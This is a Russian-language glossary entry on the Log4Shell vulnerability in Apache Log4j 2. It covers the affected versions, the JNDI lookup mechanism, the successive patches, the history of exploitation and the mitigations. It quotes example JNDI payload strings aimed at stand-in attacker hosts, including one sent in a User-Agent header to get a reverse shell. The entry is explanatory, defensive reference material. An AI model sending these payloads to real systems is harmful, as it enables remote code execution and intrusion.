Log4Shell (CVE-2021-44228)
Что такое Log4Shell (CVE-2021-44228)?
Log4Shell (CVE-2021-44228)Критическая уязвимость удалённого выполнения кода в Apache Log4j 2, раскрытая в декабре 2021 года: для эксплуатации достаточно было залогировать строку JNDI-поиска.
Log4Shell — это уязвимость с оценкой CVSS 10.0 в Apache Log4j 2 (версии с 2.0-beta9 по 2.14.1), о которой сообщил в Apache Чэнь Чжаоцзюнь из Alibaba Cloud и которая была публично раскрыта 9 декабря 2021 года. Функция message lookup в Log4j вычисляла выражения ${...} внутри строк логов; значение ${jndi:ldap://attacker/x} заставляло JVM выполнить JNDI-поиск, загрузить удалённый Java-класс и десериализовать его — что приводило к удалённому выполнению кода. Поскольку Log4j встроен в бесчисленные Java-приложения и устройства, любое контролируемое атакующим значение, попадавшее в лог (User-Agent, поле поиска, имя файла и даже имя устройства iPhone), становилось триггером.
Установка патчей превратилась в многоэтапную гонку: 2.15.0 отключила lookups, но была неполной (CVE-2021-45046), 2.16.0 удалила message lookups, 2.17.0 устранила DoS (CVE-2021-45105), а 2.17.1 закрыла CVE-2021-44832 — это рекомендованный исправленный релиз для Java 8. Массовая эксплуатация началась в течение нескольких часов; CISA добавила уязвимость в каталог KEV, и ею пользовались группировки вымогателей, а также иранский государственный субъект, стоявший за вторжениями в сети США. Защита: обновление до 2.17.1+ (или 2.12.4 / 2.3.2 для более старой Java), установка log4j2.formatMsgNoLookups=true, удаление класса JndiLookup, блокировка исходящего трафика LDAP/RMI и использование SBOM для обнаружения каждой встроенной копии.
flowchart TD
A[Атакующий] -->|"ввод: ${jndi:ldap://evil/x}"| B[Java-приложение логирует строку]
B --> C[Log4j вычисляет lookup]
C --> D[JNDI-запрос к LDAP-серверу атакующего]
D --> E[Сервер возвращает URL вредоносного Java-класса]
E --> F[JVM скачивает & десериализует класс]
F --> G[Удалённое выполнение кода]● Примеры
- 01
Отправка заголовка User-Agent: ${jndi:ldap://attacker.com/x} в Java-приложение и получение reverse shell.
- 02
Эксплуатация внутреннего Java-сервиса через залогированное вредоносное значение, введённое в поле имени пользователя.
● Частые вопросы
Что такое Log4Shell (CVE-2021-44228)?
Критическая уязвимость удалённого выполнения кода в Apache Log4j 2, раскрытая в декабре 2021 года: для эксплуатации достаточно было залогировать строку JNDI-поиска. Относится к категории Уязвимости в кибербезопасности.
Что означает Log4Shell (CVE-2021-44228)?
Критическая уязвимость удалённого выполнения кода в Apache Log4j 2, раскрытая в декабре 2021 года: для эксплуатации достаточно было залогировать строку JNDI-поиска.
Как защититься от Log4Shell (CVE-2021-44228)?
Защита от Log4Shell (CVE-2021-44228) обычно сочетает технические меры и операционные практики, как описано в определении выше.
Какие есть другие названия Log4Shell (CVE-2021-44228)?
Распространённые альтернативные названия: CVE-2021-44228, Уязвимость Log4j.